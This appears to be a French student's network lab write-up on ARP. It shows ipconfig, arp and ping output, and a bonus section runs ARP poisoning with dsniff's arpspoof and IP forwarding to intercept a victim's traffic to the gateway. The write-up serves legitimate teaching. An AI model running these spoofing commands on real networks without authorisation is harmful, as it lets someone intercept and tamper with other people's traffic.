TP RESEAU 3

I. ARP basics

⬡ Avant de continuer...

```
PS C:\Users\dylan> ipconfig /all
Carte réseau sans fil Wi-Fi :

   Suffixe DNS propre à la connexion. . . :
   Description. . . . . . . . . . . . . . : Killer(R) Wi-Fi 6E AX1690i 160MHz
Wireless Network Adapter (411NGW)
   ⬡Adresse physique . . . . . . . . . . . : D4-D8-53-78-45-B0
   DHCP activé. . . . . . . . . . . . . . : Non
   Configuration automatique activée. . . : Oui
   Adresse IPv6 de liaison locale. . . . .: fe80::ef26:7c2d:9d91:7d2b%18(préféré)
   Adresse IPv4. . . . . . . . . . . . . .: 10.33.79.14(préféré)
   Masque de sous-réseau. . . . . . . . . : 255.255.240.0
   Passerelle par défaut. . . . . . . . . : 10.33.79.254
   IAID DHCPv6 . . . . . . . . . . . . . : 433379411
   DUID de client DHCPv6. . . . . . . . . : 00-01-00-01-2C-F9-2E-BE-98-BB-1E-1F-74-
5B
   Serveurs DNS. . .  . . . . . . . . . . : 8.8.8.8
   NetBIOS sur Tcpip. . . . . . . . . . . : Activé
```

⬡ Affichez votre table ARP

```
PS C:\Users\dylan> arp -a

Interface : 10.33.79.14 --- 0x12
  Adresse Internet      Adresse physique      Type
  10.33.79.254          7c-5a-1c-d3-d8-76     dynamique
  10.33.79.255          ff-ff-ff-ff-ff-ff     statique
  224.0.0.22            01-00-5e-00-00-16     statique
  224.0.0.251           01-00-5e-00-00-fb     statique
  224.0.0.252           01-00-5e-00-00-fc     statique
  239.255.255.250       01-00-5e-7f-ff-fa     statique
```

⬡ Déterminez l'adresse MAC de la passerelle du réseau de l'école

```
PS C:\Users\dylan> arp -a

Interface : 10.33.79.14 --- 0x12
  Adresse Internet      Adresse physique      Type
  10.33.79.254          ⬡7c-5a-1c-d3-d8-76     dynamique
```

- **Supprimez la ligne qui concerne la passerelle**

```
PS C:\Users\dylan\Desktop\netcat-1.11> arp -d 10.33.79.254
```

- **Prouvez que vous avez supprimé la ligne dans la table ARP**

```
PS C:\Users\dylan\Desktop\netcat-1.11> arp -d 10.33.79.254
PS C:\Users\dylan\Desktop\netcat-1.11> arp -a

Interface : 10.33.79.14 --- 0x12
Adresse Internet      Adresse physique      Type
10.33.79.255          ff-ff-ff-ff-ff-ff     statique
224.0.0.22            01-00-5e-00-00-16     statique
224.0.0.251           01-00-5e-00-00-fb     statique
224.0.0.252           01-00-5e-00-00-fc     statique
239.255.255.250       01-00-5e-7f-ff-fa     statique
```

II. ARP dans un réseau local

1. Basics

- **Déterminer**

```
PS C:\Users\dylan> ipconfig /all
Carte réseau sans fil Wi-Fi :

   Suffixe DNS propre à la connexion. . . :
   Description. . . . . . . . . . . . . . : Killer(R) Wi-Fi 6E AX1690i 160MHz
Wireless Network Adapter (411NGW)
   Adresse physique . . . . . . . . . . . : D4-D8-53-78-45-B0
   DHCP activé. . . . . . . . . . . . . . : Oui
   Configuration automatique activée. . . : Oui
   Adresse IPv6. . . . . . . . . . . . . .:
2a01:cb01:307d:c647:cc6e:f719:d007:baa7(préféré)
   Adresse IPv6 temporaire . . . . . . . .:
2a01:cb01:307d:c647:848b:7cf8:9cab:c0ce(préféré)
   Adresse IPv6 de liaison locale. . . . .: fe80::ef26:7c2d:9d91:7d2b%18(préféré)
   Adresse IPv4. . . . . . . . . . . . . .: 172.20.10.2(préféré)
   Masque de sous-réseau. . . . . . . . . : 255.255.255.240
   Bail obtenu. . . . . . . . . . . . . . : mardi 8 octobre 2024 16:13:00
   Bail expirant. . . . . . . . . . . . . : mercredi 9 octobre 2024 16:13:00
   Passerelle par défaut. . . . . . . . . : fe80::2037:a5ff:fe88:6764%18
                                    172.20.10.1
   Serveur DHCP . . . . . . . . . . . . . : 172.20.10.1
```

```
   IAID DHCPv6 . . . . . . . . . . . : 433379411
   DUID de client DHCPv6. . . . . . . . : 00-01-00-01-2C-F9-2E-BE-98-BB-1E-1F-74-
5B
   Serveurs DNS. . .  . . . . . . . . . : fe80::2037:a5ff:fe88:6764%18
                                    172.20.10.1
   NetBIOS sur Tcpip. . . . . . . . . . : Activé
```

◯ DIY

```
PS C:\Users\dylan> ipconfig
Carte réseau sans fil Wi-Fi :

   Suffixe DNS propre à la connexion. . . :
   Adresse IPv6 de liaison locale. . . . .: fe80::ef26:7c2d:9d91:7d2b%18
   Adresse IPv4. . . . . . . . . . . . . .: 172.20.10.7
   Masque de sous-réseau. . . . . . . . . : 255.255.255.240
   Passerelle par défaut. . . . . . . . . :
```

◯ Pingz !

```
PS C:\Users\dylan> ping 172.20.10.2

Envoi d’une requête 'Ping'  172.20.10.2 avec 32 octets de données :
Réponse de 172.20.10.2 : octets=32 temps=6 ms TTL=128
Réponse de 172.20.10.2 : octets=32 temps=44 ms TTL=128
Réponse de 172.20.10.2 : octets=32 temps=6 ms TTL=128
Réponse de 172.20.10.2 : octets=32 temps=25 ms TTL=128

Statistiques Ping pour 172.20.10.2:
    Paquets : envoyés = 4, reçus = 4, perdus = 0 (perte 0%),
Durée approximative des boucles en millisecondes :
    Minimum = 6ms, Maximum = 44ms, Moyenne = 20ms
```

```
PS C:\Users\dylan> ping xkcd.com

Envoi d’une requête 'ping' sur xkcd.com [151.101.0.67] avec 32 octets de données :
Réponse de 151.101.0.67 : octets=32 temps=73 ms TTL=52
Réponse de 151.101.0.67 : octets=32 temps=80 ms TTL=52
Réponse de 151.101.0.67 : octets=32 temps=37 ms TTL=52
Réponse de 151.101.0.67 : octets=32 temps=126 ms TTL=52

Statistiques Ping pour 151.101.0.67:
    Paquets : envoyés = 4, reçus = 4, perdus = 0 (perte 0%),
Durée approximative des boucles en millisecondes :
    Minimum = 37ms, Maximum = 126ms, Moyenne = 79ms
```

2. ARP

⬡ Affichez votre table ARP !

```
PS C:\Users\dylan\Desktop\netcat-1.11> arp -a

Interface : 172.20.10.4 --- 0x12
  Adresse Internet      Adresse physique      Type
  172.20.10.1           22-37-a5-88-67-64     dynamique
  172.20.10.2           ⬡4c-82-a9-1c-e3-b7     dynamique
  172.20.10.3           ⬡f4-6a-dd-2c-70-19     dynamique
```

videz tous vos tables ARP

```
PS C:\Users\dylan\Desktop\netcat-1.11> arp -d

Interface : 172.20.10.4 --- 0x12
  Adresse Internet      Adresse physique      Type
  172.20.10.1           22-37-a5-88-67-64     dynamique
  224.0.0.22            01-00-5e-00-00-16     statique
```

3. Bonus : ARP poisoning

Je vais afficher la table arp de la victime

```
PS C:\Users\dylan> arp -a
Interface : 192.168.1.10 --- 0x12
Adresse Internet      Adresse physique      Type
192.168.1.1           10-e9-92-7f-25-10     dynamique
192.168.1.16          a4-83-e7-af-ae-d6     dynamique
192.168.1.17          30-e2-83-ae-7b-f6     dynamique
192.168.1.21          8a-91-fd-86-03-87     dynamique
192.168.1.27          d4-d8-53-78-45-b2     dynamique
192.168.1.255         ff-ff-ff-ff-ff-ff     statique
224.0.0.2             01-00-5e-00-00-02     statique
224.0.0.22            01-00-5e-00-00-16     statique
224.0.0.251           01-00-5e-00-00-fb     statique
239.255.255.250       01-00-5e-7f-ff-fa     statique
```

Ensuite je vais empoisonner sa table arp pour que l'adresse mac du routeur soit la mienne grace à arpspoof qui se situe dans l'outil dSniff qui est un outil qui analyse le réseau

```
sudo apt install dsniff
```

Je vais activer (sur la machine attaquant) l'IP forwarding qui va permettre une connexion entre la passerelle et la victime

```
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
```

Puis je vais empoisonner la table arp de la victimeA pour faire croire que je suis la passerelle (Victime B)

```
sudo arpspoof -t l'ip-de-ma-victimeA l'ip-de-la-victimeB
```

Je fais pareil mais ici je vais spam la victime B pour faire croire que je suis la victime A

```
sudo arpspoof -t l'ip-de-ma-victimeB l'ip-de-la-victimeA
```

Si on verifie la table arp de la victimeA on peut voir que l'addresse mac de la passerelle (victimeB) est la mienne :

```
PS C:\Users\dylan> arp -a
Interface : 192.168.1.10 --- 0x12
  Adresse Internet      Adresse physique      Type
  192.168.1.1           d4-d8-53-78-45-b2     dynamique
  192.168.1.16          a4-83-e7-af-ae-d6     dynamique
  192.168.1.21          8a-91-fd-86-03-87     dynamique
  192.168.1.27          d4-d8-53-78-45-b2     dynamique
  192.168.1.255         ff-ff-ff-ff-ff-ff     statique
  224.0.0.2             01-00-5e-00-00-02     statique
  224.0.0.22            01-00-5e-00-00-16     statique
  224.0.0.251           01-00-5e-00-00-fb     statique
```

Donc tout les paquets vont passer par moi puiq que je vais redistribuer a la passerelle (victimeB)